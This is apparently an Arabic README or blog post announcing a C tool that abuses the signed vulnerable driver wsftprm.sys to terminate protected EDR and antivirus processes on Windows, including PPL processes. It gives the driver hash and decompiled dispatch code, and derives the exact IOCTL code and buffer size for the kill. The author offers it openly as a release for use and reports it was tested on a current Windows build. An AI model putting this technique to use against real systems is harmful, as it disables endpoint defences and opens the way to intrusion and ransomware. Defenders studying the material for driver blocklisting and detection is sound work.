
أداة مبنية على لغة C تستغل برنامج تشغيل النواة الضعيف wsftprm.sys لإنهاء عمليات EDR/AV المحمية على ويندوز، بما في ذلك عمليات PPL، عبر منطق إرسال IOCTL المعكوس.
لقد احترق سائق آخر.. كنت أحتفظ بسائق wsftprm.sys لنفسي لفترة 😉 ولكن بما أن شخصًا ما نشر إثباتًا عامًا، فقد قررت إطلاقه. الكل يعلم أنه سيُضاف قريبًا إلى قائمة السائقين المحظورين، لذا ها هو تطبيقي الخاص لنفس الشيء — بلغة C
يستغل هذا المشروع سائق wsftprm.sys (سائق نواة Topaz لمكافحة الاحتيال) الضعيف لإنهاء العمليات المحمية (مثل خدمات مكافحة الفيروسات/EDR) على ويندوز.
اعتبارًا من يناير 2026، لا يزال wsftprm.sys (SHA-256: FF5DBDCF6D7AE5D97B6F3EF412DF0B977BA4A844C45B30CA78C0EEB2653D69A8) أحد السائقين الضعفاء الموقعين الذين ليسوا في قائمة السائقين الضعفاء الرسمية لمايكروسوفت
هناك الكثير من المعلومات حول كيفية تحميل وعكس هندسة سائق، لذا راجع أيًا منها. الشيء الوحيد المثير للاهتمام في هذا السائق هو كيفية تعامله مع IOCTLs. لا يستخدم السائق جملة switch قياسية لتوزيع IOCTL. بدلاً من ذلك، يستخدم سلسلة من عمليات الطرح من كود IOCTL لإخفاء القيم المقصودة.
__int64 __fastcall DispatchDeviceControl(__int64 a1, __int64 a2, ...)
{
// ...
v7 = IoControlCode; // v6[6] = Parameters.DeviceIoControl.IoControlCode
v8 = v7 - 0x222000;
v9 = v8 - 4;
v10 = v9 - 4;
v11 = v10 - 16;
if ( v11 == 4 && InputBufferLength == 1036 )
{
// نسخ مخزن الإدخال بحجم 1036 بايت
// استخراج أول DWORD على أنه PID (v41)
// استدعاء sub_14000264C(v41, buffer) → يؤدي إلى الإنهاء
}
}
sub_14000264C(unsigned int a1, __int64 a2)
{
// ...
v4 = sub_140002848(a1); // a1 = PID من buffer[0..3]
}
__int64 __fastcall sub_140002848(unsigned int a1) // PID
{
CLIENT_ID ClientId = { (HANDLE)a1, 0 };
OBJECT_ATTRIBUTES ObjAttr = { sizeof(ObjAttr), 0, 0, 0, 0, 0 };
HANDLE ProcessHandle;
ZwOpenProcess(&ProcessHandle, PROCESS_ALL_ACCESS, &ObjAttr, &ClientId);
if (NT_SUCCESS(status) && ProcessHandle)
{
ZwTerminateProcess(ProcessHandle, 0);
ZwClose(ProcessHandle);
}
// ...
}
الآن نعرف المتطلبات المسبقة للوصول إلى دالة الثغرة. بشكل أساسي v11 == 4 && InputBufferLength == 1036 لذا يمكننا العمل بشكل عكسي من الشرط للحصول على كود IOCTL.. شيء كهذا:
v11 == 4
→ v10 - 16 == 4 → v10 = 20 (0x14)
→ v9 - 4 == 20 → v9 = 24 (0x18)
→ v8 - 4 == 24 → v8 = 28 (0x1C)
→ v7 - 0x222000 == 28 → v7 = 0x222000 + 0x1C = 0x22201C
وبعد ذلك يمكنك استخدام DeviceIoControl مع كود IOCTL لإنهاء العملية التي تريدها (بما في ذلك عمليات PPL)
آخر اختبار على إصدار ويندوز 25H2!